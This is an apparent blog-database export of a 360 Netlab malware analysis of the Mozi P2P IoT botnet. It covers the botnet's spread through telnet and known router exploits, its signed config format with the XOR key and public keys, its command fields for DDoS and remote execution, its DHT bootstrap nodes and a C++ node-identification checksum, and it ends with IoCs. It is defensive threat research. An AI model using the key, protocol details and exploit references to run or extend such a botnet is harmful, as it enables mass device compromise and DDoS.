UPnP SOAP TelnetD Command Execution
D-Link Devices
CCTV/DVR Remote Code Execution
CCTV DVR
At present, we do not know the exact scale of the Botnet, we do manage to become a node to join the DHT network and are tracking some baseline numbers, we will share more details probably in another blog later on. And from other data we have collected, we can also see the number of infection has been increasing.The picture below shows the Mozi bot infection based on the log collected by our honeypot.
Sample Reverse Analysis
There are three versions of Mozi Botnet, which can be distinguished by their slightly different telnet propagation methods.
Our analysis is mainly focus on the latest version v2, and this blog will cover the key elements such as propagation method, Config structure and its DHT network.
Sample Information
MD5:eda730498b3d0a97066807a2d98909f3
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Packer: NO
Library:uclibc
Version: v2
It is worth mentioning that in the first version Mozi(sample md5: 849b165f28ae8b1cebe0c7430f44aff3) used upx packing. But instead of using the common upx magic number to defeat unpacking, it used a novel method, to erase the value of p_filesize & p_blocksize to zero, with that change, researcher need to patch the upx source code then unpacking is possible.
Common Functions
Mozi doesn't have much characteristics in the host behavior level. It reuses Gafgyt's code to implements many common functions, such as single instance, process name modification, and ACL modification.
* Single instance, by binding local port
* Change the process name to sshd or dropbear to confuse the victim
* ACL modification, Open up the ports;block SSH, TELNET services to prevent Bot from being re-infected by other malicious actors.
Perform Specific Tasks
After Mozi establishes the p2p network through the DHT protocol, the config file is synchronized, and the corresponding tasks are started according to the instructions in the config file.In P2P networks, nodes are untrusted, and anyone can fake a Mozi node at a very low cost.In order to ensure that the Mozi network is completely controllable and cannot be stolen by others, Mozi needs to perform signature verification on each synchronized config, and only if it can pass the signature verification can it be accepted and executed by the Mozi node.
Document & Instruction Inspection
Mozi uses the ECDSA384 algorithm to verify the legitimacy of files and instructions. Each sample integrates two xor-encrypted public keys, which are used to sign encrypted and decrypted config files, respectively.
xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
Config File
Each sample integrates an xor-encrypted initial config file with a length of 528 bytes. Its structure is data (428 bytes), sign (96 bytes), flag (4 bytes). The sign field is a digital signature and the flag field controls if the config file is updated or not.There are many control fields in the config file. After receiving the config, the Mozi node parses the field content and executes the corresponding subtasks.The original config file is as follows.
The decryption process is shown in the following figure, where the xor key is 4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
The decrypted config is as follows.
The supported keywords are as follows, which can be divided into three categories: declaration, control, and subtask.
1：declaration
[cpu] cpu arch or os
[cpux] cpu arch or os
[ss] bot role
[ssx] bot role
[nd] new node info which help to join DHT
2:control
[ver] verify
[sv] update Config
[hp] DHT id prefix
[dip] URL or ip:port list which can get Mozi sample
3:subtask
[atk] DDOS attack
[ud] update
[dr] exec payload from specific URL
[rn] exec system or customized cmds
[idp] report bot info
Bot Function
* DDOS，[atk]field trigger, reuse Gafgyt attack code, support HTTP, TCP, UDP and other attacks.
Command
-----------------------------------------
S
T
U
KT
HTTP
* Report Bot information,[idp]field trigger, the content reported are Bot ID, IP, PORT, file name (full path), gateway, cpu architecture.
* The payload of the specified URL is executed, and the[dr] field is triggered.
* Update from the specified URL, the [ud]field is triggered. Close the current node's network connection and related processes, download the new version from the specified URL, save DHT node, ID and other data, and provide them as parameters for the new version.
* Execute system or Bot custom command,[rn]field trigger.
* System command
* Customize theGETcommand and send the Bot ID to the peer.
* Customize theruncommand, execute the command issued by the peer, and return the result.
DHT
Mozi Botnet uses its own extended DHT protocol to build a P2P network. There are two benefits to this. One is to use standard DHT to quickly establish a network, and the other is to use its own extension to hide the valid payload in the vast amount of normal DHT traffic so detection is impossible without proper knowledge. Mozi uses 8 sets of public nodes and the nodes specified in the [nd] field of the Config file as bootstrap nodes, toguide new nodes to join their DHT network.
* Public node, sample embedded
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
* [nd] Specified in the Config file
ID Generation
The ID is 20 bytes and consists of the prefix 888888 embedded in the sample or the prefix specified by the config file [hp], plus a randomly generated string.
Node Recognition
In order to distinguish regular traffic with its own traffic, Mozi uses1:v4:flag(4 bytes)such an identifier to identify whether the traffic is sent by its node. The meaning of the flag byte is as follows.
flag means is as follows
flag(4 bytes)
----------------------------------------------
offset:
0 -----random
1 ----- hard-code(0x42) or from [ver]
2 -----calc by algorithm
3 -----calc by algorithm
The first byte is randomly generated. The second byte is hard-coded 0x42 or specified by the [ver] field in the config file.
The 3rd and 4th bytes are obtained by the algorithm.
ver algorithm
----------------------------------------------
int first,sec;
string ver="\x31\x3a\x76\x34\x3a\x00\x00"s;
cout << "Please input the two number: (0x00-0xff)" << endl;
cin.unsetf(ios::hex);
cin >> hex >> first >> sec;
ver[5] = char(first);
ver[6] = char(sec);
uint32_t va = 0;
for(int i = 0; i < 7; i++)
{
uint32_t tmp = int(ver[i]);
tmp = tmp << 8;
tmp ^= va;
int rnd = 8;
while (rnd--)
{
if ((tmp & 0xffff) > 0x8000)
{
tmp *= 2;
tmp ^= 0xffff8005;
}
else
tmp *= 2;
}
va = tmp&0xffff;
}
cout << hex << "Final " << va << endl;
Please input the two number: (0x00-0xff)
0x44 0x42
Final 1f71
Enter 0x44 0x42, and get the 0x1f71 same result as in the packet.
Network Request
The network requests received by Mozi nodes can be divided into two categories, DHT requests and non-DHT requests. According to the aforementioned node identification, DHT requests are then again divided into Mozi-DHT requests and non-Mozi-DHT requests. Mozi supports three types of them, including ping, find_node, and get_peers. For non-DHT requests, there are two types based on whether the network packet length is greater than 99 or not.
For Mozi, Different requests have different processing logic, see below
* Number 2: ping, DHT request, reply to pong directly according to standard DHT process.
* Number 3: find_node, DHT request.
* Number 4: get_peers, DHT request.
Mozi combines find_node and get_peers into one. If the request comes from the Mozi node, there is a certain probability to send its Config content to the other party; if the request comes from a non-Mozi node, it is processed according to the standard DHT process。
raw data, first 128 bytes:
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3 |5:nodes624:..)Òó|
00000030 a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8 |£÷.þß.]½?2Fv^b·¸|
00000040 f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4 |ð.x¢Ä7[.,.. ..çô|
00000050 bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef |¼Ü.¢..gûz^P".uèï|
00000060 f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5 |ù.Jé.u6ävWK|Q|ÿõ|
00000070 f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1 |õÄWùÜb5´j].kT<íá|
00000080 a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3 |¡ÈV£Ï(kú...>;. ã|
The encrypted Config is located after "5:nodes624:", using xor key (4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E), the content after decryption:
raw data:
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a |5:nodes624:
configuration:
00000000 5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38 |[ss]sk[/ss][hp]8|
00000010 38 38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75 |8888888[/hp][cou|
00000020 6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e |nt]http://ia.51.|
00000030 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35 |la/go1?id=201985|
00000040 32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66 |27&pu=http%3a%2f|
* Number 5: announce_peer not supported
* Number 6: Non-DHT request. The data packet length is less than 99 bytes. When the node receives this request, it will send its config content to the requester.
* Number 7: Non-DHT request, the data packet length is greater than 99 bytes. When the node receives this request, it indicates that the received data is an encrypted Config file. For the execution process, refer to the previous section.
Suggestions
We recommend that users update the patch in a timely manner, and determine whether they are infected by looking up the process and file name, and HTTP, DHT network connection characteristics created by Mozi Botnet.
Contact us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC list
Sample MD5:
eda730498b3d0a97066807a2d98909f3
849b165f28ae8b1cebe0c7430f44aff3
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nOn September 03, 2019, a suspicious file was tagged by our new threat monitoring system and a quick checking on VT shows most engines flagged it as Gafgyt. The sample does reuse part of the Gafgyt code, but it is not really Gafgyt. \n\nThe sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name `Mozi.m`,`Mozi.a`.\n\nMozi Botnet relies on the DHT protocol to build a P2P network, and uses ECDSA384 and the xor algorithm to ensure the integrity and security of its components and P2P network. The sample spreads via Telnet with weak passwords and some known exploits (see the list below). In terms of functions, the execution of the instructions of each node in the Mozi botnet is driven by a Payload called Config issued by the Botnet Master. The main instructions include:\n- DDoS attack\n- Collecting Bot Information\n- Execute the payload of the specified URL\n- Update the sample from the specified URL\n- Execute system or custom commands\n\nThe overall network structure is shown in the following figure:\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_flow-3.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_flow.m.png\" class=\"kg-image\"/></a>\n\n## Sample Spread\n\nMozi infects new devices through weak telnet passwords and exploits.The infection process is as follows:\n- The current Bot node randomly uses a local port to start the http service to provide sample downloads or receives the sample download address in the Config file issued by the Botnet Master.Provides a sample download address for future infected targets.\n- The current Bot node logs in to the target device with a weak password, writes the downloader file in echo mode and runs it, and downloads the sample file from the sample download address provided by the current Bot node. Or use a vulnerability to exploit the target, and then obtain a sample file from the sample download address provided by the current Bot node.\n- Run the Mozi Bot sample on the infected target device, join the Mozi P2P network to become the new Mozi Bot node and continue to infect other new devices.\n\nThe vulnerabilities used by Mozi Botnet are shown in the following table:\n| Vulnerability | Affected Aevice |\n| ------------- | ---------------- |\n| [Eir D1000 Wireless Router RCI](https://www.exploit-db.com/exploits/40740) | Eir D1000 Router |\n| [Vacron NVR RCE](https://www.exploit-db.com/exploits/6864/) | Vacron NVR devices |\n| [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/) | Devices using the Realtek SDK|\n| [Netgear cig-bin Command Injection](https://www.exploit-db.com/exploits/41598/)| Netgear R7000 and R6400 |\n| [Netgear setup.cgi unauthenticated RCE](https://www.exploit-db.com/exploits/43055) | DGN1000 Netgear routers |\n| [JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVR | \n| [CVE-2017-17215](https://www.exploit-db.com/exploits/43414/) | Huawei Router HG532 |\n| [HNAP SoapAction-Header Command Execution](https://www.exploit-db.com/exploits/37171/) | D-Link Devices |\n| [CVE-2018-10561, CVE-2018-10562](https://www.exploit-db.com/exploits/44576/) | GPON Routers |\n| [UPnP SOAP TelnetD Command Execution](https://www.exploit-db.com/exploits/28333/) | D-Link Devices |\n| [CCTV/DVR Remote Code Execution](https://www.exploit-db.com/exploits/39596/) | CCTV DVR |\n\nAt present, we do not know the exact scale of the Botnet, we do manage to become a node to join the DHT network and are tracking some baseline numbers, we will share more details probably in another blog later on. And from other data we have collected, we can also see the number of infection has been increasing.The picture below shows the Mozi bot infection based on the log collected by our honeypot.\n\n\n## Sample Reverse Analysis\nThere are three versions of Mozi Botnet, which can be distinguished by their slightly different telnet propagation methods.\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_versioin.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_versioin.png\" class=\"kg-image\"/></a>\nOur analysis is mainly focus on the latest version v2, and this blog will cover the key elements such as propagation method, Config structure and its DHT network.\n\n### Sample Information\n> MD5:eda730498b3d0a97066807a2d98909f3\n>\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n> Packer: NO\n>\n> Library:uclibc\n>\n> Version: v2\n\nIt is worth mentioning that in the first version Mozi(sample md5: `849b165f28ae8b1cebe0c7430f44aff3`) used upx packing. But instead of using the common upx magic number to defeat unpacking, it used a novel method, to erase the value of p_filesize & p_blocksize to zero, with that change, researcher need to patch the upx source code then unpacking is possible.\n\n### Common Functions\n\nMozi doesn't have much characteristics in the host behavior level. It reuses Gafgyt's code to implements many common functions, such as single instance, process name modification, and ACL modification.\n\n- Single instance, by binding local port\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_bind.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_bind.png\" class=\"kg-image\"/></a>\n- Change the process name to sshd or dropbear to confuse the victim\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_setname.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_setname.png\" class=\"kg-image\"/></a>\n- ACL modification, Open up the ports;block SSH, TELNET services to prevent Bot from being re-infected by other malicious actors.\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_iptables.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_iptables.png\" class=\"kg-image\"/></a>\n\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_forb.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_forb.png\" class=\"kg-image\"/></a>\n\n\n### Perform Specific Tasks\n\nAfter Mozi establishes the p2p network through the DHT protocol, the config file is synchronized, and the corresponding tasks are started according to the instructions in the config file.In P2P networks, nodes are untrusted, and anyone can fake a Mozi node at a very low cost.In order to ensure that the Mozi network is completely controllable and cannot be stolen by others, Mozi needs to perform signature verification on each synchronized config, and only if it can pass the signature verification can it be accepted and executed by the Mozi node.\n\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_configproc.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_configproc.png\" class=\"kg-image\"/></a>\n\n#### Document & Instruction Inspection\n\nMozi uses the ECDSA384 algorithm to verify the legitimacy of files and instructions. Each sample integrates two xor-encrypted public keys, which are used to sign encrypted and decrypted config files, respectively.\n\n```\n xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E\n------------------------------------------------------------------\nxored publickey A \n\t4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F \n\t69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B \n\t38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1\t\nafter decryption: \n\t02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21 \n\t27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65 \n\t76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef\n-------------------------------------------------------------------\nxored publickey B\n\t4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 \n\tE9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 \n\t22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88\nafter decryption:\n\t02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6 \n\ta7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d \n\t6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6\n```\n\n#### Config File\nEach sample integrates an xor-encrypted initial config file with a length of 528 bytes. Its structure is data (428 bytes), sign (96 bytes), flag (4 bytes). The sign field is a digital signature and the flag field controls if the config file is updated or not.There are many control fields in the config file. After receiving the config, the Mozi node parses the field content and executes the corresponding subtasks.The original config file is as follows. \n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_enconfig.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_enconfig.png\" class=\"kg-image\"/></a>\nThe decryption process is shown in the following figure, where the xor key is `4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E`\n\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_xorproc.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_xorproc.png\" class=\"kg-image\"/></a>\nThe decrypted config is as follows. \n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_denconfig.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_denconfig.png\" class=\"kg-image\"/></a>\nThe supported keywords are as follows, which can be divided into three categories: declaration, control, and subtask.\n```\n1：declaration\n[cpu] cpu arch or os\n[cpux] cpu arch or os\n[ss]\tbot role\n[ssx]\tbot role\n[nd] \tnew node info which help to join DHT\n2:control\n[ver] \tverify \n[sv]\tupdate Config\n[hp] \tDHT id prefix\n[dip] URL or ip:port list which can get Mozi sample\n3:subtask\n[atk]\tDDOS attack\n[ud] \tupdate\n[dr] \texec payload from specific URL \n[rn] \texec system or customized cmds\n[idp] \treport bot info\n```\n#### Bot Function\n- DDOS，``[atk]``field trigger, reuse Gafgyt attack code, support HTTP, TCP, UDP and other attacks.\n ```\n Command\n -----------------------------------------\n S \n T\n U\n KT\n HTTP\n ```\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_atk.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_atk.png\" class=\"kg-image\"/></a>\n- Report Bot information,``[idp]``field trigger, the content reported are Bot ID, IP, PORT, file name (full path), gateway, cpu architecture.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_idp.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_idp.png\" class=\"kg-image\"/></a>\n- The payload of the specified URL is executed, and the``[dr]`` field is triggered.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_dr.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_dr.png\" class=\"kg-image\"/></a>\n- Update from the specified URL, the ``[ud]``field is triggered. Close the current node's network connection and related processes, download the new version from the specified URL, save DHT node, ID and other data, and provide them as parameters for the new version.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ud.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ud.png\" class=\"kg-image\"/></a>\n- Execute system or Bot custom command,``[rn]``field trigger.\n - System command\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_rnsys.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_rnsys.png\" class=\"kg-image\"/></a>\n - Customize the`GET`command and send the Bot ID to the peer.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_rnget.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_rnget.png\" class=\"kg-image\"/></a>\n - Customize the`run`command, execute the command issued by the peer, and return the result.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_rnrun.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_rnrun.png\" class=\"kg-image\"/></a>\n### DHT\n\nMozi Botnet uses its own extended DHT protocol to build a P2P network. There are two benefits to this. One is to use standard DHT to quickly establish a network, and the other is to use its own extension to hide the valid payload in the vast amount of normal DHT traffic so detection is impossible without proper knowledge. Mozi uses 8 sets of public nodes and the nodes specified in the [nd] field of the Config file as bootstrap nodes, toguide new nodes to join their DHT network.\n\n- Public node, sample embedded\n```\ndht.transmissionbt.com:6881\nrouter.bittorrent.com:6881\nrouter.utorrent.com:6881\nbttracker.debian.org:6881\n212.129.33.59:6881\n82.221.103.244:6881\n130.239.18.159:6881\n87.98.162.88:6881\n```\n- [nd] Specified in the Config file\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_nd.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_nd.png\" class=\"kg-image\"/></a>\n#### ID Generation\n\nThe ID is 20 bytes and consists of the prefix `888888` embedded in the sample or the prefix specified by the config file [hp], plus a randomly generated string.\n\n\n\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_id.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_id.png\" class=\"kg-image\"/></a>\n\n#### Node Recognition\nIn order to distinguish regular traffic with its own traffic, Mozi uses``1:v4:flag(4 bytes)``such an identifier to identify whether the traffic is sent by its node. The meaning of the flag byte is as follows.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_node.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_node.png\" class=\"kg-image\"/></a>\nflag means is as follows\n```\nflag(4 bytes)\n----------------------------------------------\noffset:\n\t0 -----random\n\t1 ----- hard-code(0x42) or from [ver]\n 2 -----calc by algorithm\n 3 -----calc by algorithm\n```\nThe first byte is randomly generated. The second byte is hard-coded 0x42 or specified by the [ver] field in the config file.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ver.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ver.png\" class=\"kg-image\"/></a>\nThe 3rd and 4th bytes are obtained by the algorithm.\n```\nver algorithm\n----------------------------------------------\n\tint first,sec;\n\tstring ver=\"\\x31\\x3a\\x76\\x34\\x3a\\x00\\x00\"s;\n\tcout << \"Please input the two number: (0x00-0xff)\" << endl;\n\tcin.unsetf(ios::hex);\n\tcin >> hex >> first >> sec;\n\tver[5] = char(first);\n\tver[6] = char(sec);\n\tuint32_t va = 0;\n\tfor(int i = 0; i < 7; i++)\n\t{\t\n\t\tuint32_t tmp = int(ver[i]);\n\t\ttmp = tmp << 8;\n\t\ttmp ^= va;\n\t\tint rnd = 8;\n\twhile (rnd--)\n\t{\n\t\tif ((tmp & 0xffff) > 0x8000)\n\t\t{\n\t\t\ttmp *= 2;\n\t\t\ttmp ^= 0xffff8005;\n\t\t}\n\t\telse\n\t\t\ttmp *= 2;\n\t}\n\tva = tmp&0xffff;\n\t}\n\tcout << hex << \"Final \" << va << endl;\n```\n\n>Please input the two number: (0x00-0xff)\n>0x44 0x42 \n>Final 1f71 \nEnter 0x44 0x42, and get the `0x1f71` same result as in the packet.\n\n\n#### Network Request\n\nThe network requests received by Mozi nodes can be divided into two categories, DHT requests and non-DHT requests. According to the aforementioned node identification, DHT requests are then again divided into Mozi-DHT requests and non-Mozi-DHT requests. Mozi supports three types of them, including ping, find_node, and get_peers. For non-DHT requests, there are two types based on whether the network packet length is greater than 99 or not. \n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_net-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_net-1.png\" class=\"kg-image\"/></a>\nFor Mozi, Different requests have different processing logic, see below\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_query.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_query.png\" class=\"kg-image\"/></a>\n- Number 2: ping, DHT request, reply to pong directly according to standard DHT process.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ping.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ping.png\" class=\"kg-image\"/></a>\n- Number 3: find_node, DHT request.\n- Number 4: get_peers, DHT request.\n Mozi combines `find_node` and `get_peers` into one. If the request comes from the Mozi node, there is a certain probability to send its Config content to the other party; if the request comes from a non-Mozi node, it is processed according to the standard DHT process。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_getnode.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_getnode.png\" class=\"kg-image\"/></a>\n```\nraw data, first 128 bytes:\n00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|\n00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|\n00000020 35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3 |5:nodes624:..)Òó|\n00000030 a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8 |£÷.þß.]½?2Fv^b·¸|\n00000040 f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4 |ð.x¢Ä7[.,.. ..çô|\n00000050 bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef |¼Ü.¢..gûz^P\".uèï|\n00000060 f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5 |ù.Jé.u6ävWK|Q|ÿõ|\n00000070 f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1 |õÄWùÜb5´j].kT<íá|\n00000080 a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3 |¡ÈV£Ï(kú...>;. ã|\n\nThe encrypted Config is located after \"5:nodes624:\", using xor key (4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E), the content after decryption:\n\nraw data:\n00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|\n00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|\n00000020 35 3a 6e 6f 64 65 73 36 32 34 3a \t\t\t\t |5:nodes624:\n\nconfiguration:\n00000000 5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38 |[ss]sk[/ss][hp]8|\n00000010 38 38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75 |8888888[/hp][cou|\n00000020 6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e |nt]http://ia.51.|\n00000030 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35 |la/go1?id=201985|\n00000040 32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66 |27&pu=http%3a%2f|\n\n```\n\n- Number 5: `announce_peer` not supported\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ann.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ann.png\" class=\"kg-image\"/></a>\n- Number 6: Non-DHT request. The data packet length is less than 99 bytes. When the node receives this request, it will send its config content to the requester.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_6proc.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_6proc.png\" class=\"kg-image\"/></a>\n- Number 7: Non-DHT request, the data packet length is greater than 99 bytes. When the node receives this request, it indicates that the received data is an encrypted Config file. For the execution process, refer to the previous section.\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_payload.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_payload.png\" class=\"kg-image\"/></a>\n## Suggestions\n\nWe recommend that users update the patch in a timely manner, and determine whether they are infected by looking up the process and file name, and HTTP, DHT network connection characteristics created by Mozi Botnet.\n\n## Contact us\n\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n## IoC list\n\nSample MD5:\n\n```\neda730498b3d0a97066807a2d98909f3\n849b165f28ae8b1cebe0c7430f44aff3\n```\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e0082e77646030007b262a1 |
post | null | 2019-12-24T04:42:49.000Z | 63873b9a8b1c1e0007f52f60 | untitled-5 | 0 | 2019-12-24T04:43:13.000Z | public | draft | null | null | (Untitled) | <!--kg-card-begin: markdown--><p><img src="__GHOST_URL__/content/images/2019/12/mozi_net-2.png" alt="mozi_net-2" loading="lazy"></p>
<!--kg-card-end: markdown--> | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":""}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e0197497646030007b2633e |
|
post | null | 2019-12-27T10:51:35.000Z | 63873b9a8b1c1e0007f52f61 | wbpse | 0 | 2019-12-27T10:52:30.000Z | public | draft | null | null | wbpse | <p>启动流程 </p> | 启动流程 | {"version":"0.3.1","atoms":[],"cards":[],"markups":[],"sections":[[1,"p",[[0,[],0,"启动流程 "]]]],"ghostVersion":"3.0"} | 5e05e2377646030007b26345 |
post | null | 2020-01-08T11:26:15.000Z | 63873b9a8b1c1e0007f52f62 | pink-botnet | 0 | 2020-03-26T01:45:57.000Z | public | draft | null | null | Pink Botnet-share_with_cncert | <!--kg-card-begin: markdown--><h1 id="">概述</h1>
<p>2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。</p>
<p>Pinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，已知总感染量超过160万，其中 96% 位于中国。</p>
<p>PinkBot 具有很强的技术能力：</p>
<ol>
